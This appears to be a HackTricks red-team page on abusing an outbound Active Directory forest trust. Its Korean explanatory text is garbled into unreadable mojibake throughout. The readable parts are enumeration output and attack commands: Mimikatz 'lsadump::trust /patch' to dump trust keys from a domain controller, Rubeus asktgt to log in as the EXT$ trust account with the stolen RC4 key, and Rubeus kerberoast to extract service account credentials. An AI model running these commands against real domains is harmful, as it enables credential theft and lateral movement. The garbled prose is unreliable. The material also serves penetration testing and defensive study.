External Forest Domain - One-Way (Outbound)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ์๋๋ฆฌ์ค์์ ๊ทํ์ ๋๋ฉ์ธ์ ๋ค๋ฅธ ๋๋ฉ์ธ์ ์ฃผ์ฒด์๊ฒ ์ผ๋ถ ๊ถํ์ ์ ๋ขฐํ๊ณ ์์ต๋๋ค.
Enumeration
Outbound Trust
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
TargetName : ext.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain : root.local
GroupName : External Users
GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain : root.io
MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
Trust Account Attack
์ ๋ขฐ ๊ด๊ณ๊ฐ ๋ ๋๋ฉ์ธ ๊ฐ์ ์ค์ ๋ ๋ ๋ณด์ ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค. ์ฌ๊ธฐ์ ๋๋ฉ์ธ A์ ๋๋ฉ์ธ B๋ก ์๋ณ๋๋ฉฐ, ๋๋ฉ์ธ B๊ฐ ๋๋ฉ์ธ A์ ๋ํ ์ ๋ขฐ๋ฅผ ํ์ฅํฉ๋๋ค. ์ด ์ค์ ์์ ๋๋ฉ์ธ B๋ฅผ ์ํด ๋๋ฉ์ธ A์ ํน๋ณํ ๊ณ์ ์ด ์์ฑ๋๋ฉฐ, ์ด๋ ๋ ๋๋ฉ์ธ ๊ฐ์ ์ธ์ฆ ํ๋ก์ธ์ค์์ ์ค์ํ ์ญํ ์ ํฉ๋๋ค. ๋๋ฉ์ธ B์ ์ฐ๊ฒฐ๋ ์ด ๊ณ์ ์ ๋๋ฉ์ธ ๊ฐ ์๋น์ค์ ์ ๊ทผํ๊ธฐ ์ํ ํฐ์ผ์ ์ํธํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
์ฌ๊ธฐ์ ์ดํดํด์ผ ํ ์ค์ํ ์ ์ ์ด ํน๋ณํ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ์ ํด์๊ฐ ๋๋ฉ์ธ A์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์์ ๋ช ๋ น์ค ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ถ์ถ๋ ์ ์๋ค๋ ๊ฒ์ ๋๋ค. ์ด ์์ ์ ์ํํ๋ ๋ช ๋ น์:
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
์ด ์ถ์ถ์ ์ด๋ฆ ๋ค์ **$**๊ฐ ๋ถ์ ๊ณ์ ์ด ํ์ฑํ๋์ด ์๊ณ ๋๋ฉ์ธ A์ โDomain Usersโ ๊ทธ๋ฃน์ ์ํด ์์ด ์ด ๊ทธ๋ฃน๊ณผ ๊ด๋ จ๋ ๊ถํ์ ์์๋ฐ๊ธฐ ๋๋ฌธ์ ๊ฐ๋ฅํฉ๋๋ค. ์ด๋ฅผ ํตํด ๊ฐ์ธ์ ์ด ๊ณ์ ์ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ์ฌ ๋๋ฉ์ธ A์ ์ธ์ฆํ ์ ์์ต๋๋ค.
๊ฒฝ๊ณ : ์ด ์ํฉ์ ์ด์ฉํ์ฌ ๋๋ฉ์ธ A์์ ์ฌ์ฉ์๋ก์ ๋ฐํ์ ๋ง๋ จํ๋ ๊ฒ์ด ๊ฐ๋ฅํ์ง๋ง, ๊ถํ์ ์ ํ์ ์ ๋๋ค. ๊ทธ๋ฌ๋ ์ด ์ ๊ทผ์ ๋๋ฉ์ธ A์์ ์ด๊ฑฐ ์์ ์ ์ํํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค.
ext.local์ด ์ ๋ขฐํ๋ ๋๋ฉ์ธ์ด๊ณ root.local์ด ์ ๋ขฐ๋ฐ๋ ๋๋ฉ์ธ์ธ ์๋๋ฆฌ์ค์์, root.local ๋ด์ EXT$๋ผ๋ ์ฌ์ฉ์ ๊ณ์ ์ด ์์ฑ๋ฉ๋๋ค. ํน์ ๋๊ตฌ๋ฅผ ํตํด Kerberos ์ ๋ขฐ ํค๋ฅผ ๋คํํ์ฌ root.local์ EXT$ ์๊ฒฉ ์ฆ๋ช
์ ๋๋ฌ๋ผ ์ ์์ต๋๋ค. ์ด๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํ ๋ช
๋ น์:
lsadump::trust /patch
์ดํ, ์ถ์ถ๋ RC4 ํค๋ฅผ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ๋๊ตฌ ๋ช
๋ น์ ์ฌ์ฉํ์ฌ root.local ๋ด์์ root.local\EXT$๋ก ์ธ์ฆํ ์ ์์ต๋๋ค:
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
์ด ์ธ์ฆ ๋จ๊ณ๋ root.local ๋ด์์ ์๋น์ค๋ฅผ ์ด๊ฑฐํ๊ณ ์ฌ์ง์ด ์
์ฉํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ ์ด์ด์ค๋๋ค. ์๋ฅผ ๋ค์ด Kerberoast ๊ณต๊ฒฉ์ ์ํํ์ฌ ์๋น์ค ๊ณ์ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถํ ์ ์์ต๋๋ค:
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
๋ช ํํ ์ ๋ขฐ ๋น๋ฐ๋ฒํธ ์์ง
์ด์ ํ๋ฆ์์๋ ๋ช ํํ ํ ์คํธ ๋น๋ฐ๋ฒํธ ๋์ ์ ๋ขฐ ํด์๊ฐ ์ฌ์ฉ๋์์ต๋๋ค (์ด๋ mimikatz์ ์ํด ๋คํ๋จ).
๋ช ํํ ํ ์คํธ ๋น๋ฐ๋ฒํธ๋ mimikatz์ [ CLEAR ] ์ถ๋ ฅ์ 16์ง์๋ก ๋ณํํ๊ณ ๋ ๋ฐ์ดํธ โ\x00โ์ ์ ๊ฑฐํ์ฌ ์ป์ ์ ์์ต๋๋ค:
.png)
์ ๋ขฐ ๊ด๊ณ๋ฅผ ์์ฑํ ๋ ์ฌ์ฉ์๊ฐ ์ ๋ขฐ๋ฅผ ์ํด ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํด์ผ ํ๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์ด ์์ฐ์์ ํค๋ ์๋์ ์ ๋ขฐ ๋น๋ฐ๋ฒํธ์ด๋ฉฐ ๋ฐ๋ผ์ ์ฌ๋์ด ์ฝ์ ์ ์์ต๋๋ค. ํค๊ฐ ์ฃผ๊ธฐ์ ์ผ๋ก ๋ณ๊ฒฝ๋๋ฉด (30์ผ), ๋ช ํํ ํ ์คํธ๋ ์ฌ๋์ด ์ฝ์ ์ ์์ง๋ง ๊ธฐ์ ์ ์ผ๋ก ์ฌ์ ํ ์ฌ์ฉ ๊ฐ๋ฅํฉ๋๋ค.
๋ช ํํ ํ ์คํธ ๋น๋ฐ๋ฒํธ๋ ์ ๋ขฐ ๊ณ์ ์ผ๋ก ์ ๊ธฐ์ ์ธ ์ธ์ฆ์ ์ํํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ, ์ด๋ ์ ๋ขฐ ๊ณ์ ์ Kerberos ๋น๋ฐ ํค๋ฅผ ์ฌ์ฉํ์ฌ TGT๋ฅผ ์์ฒญํ๋ ๋์์ ๋๋ค. ์ฌ๊ธฐ์ ext.local์์ Domain Admins์ ๊ตฌ์ฑ์์ ์ํด root.local์ ์ฟผ๋ฆฌํฉ๋๋ค:
.png)
์ฐธ์กฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


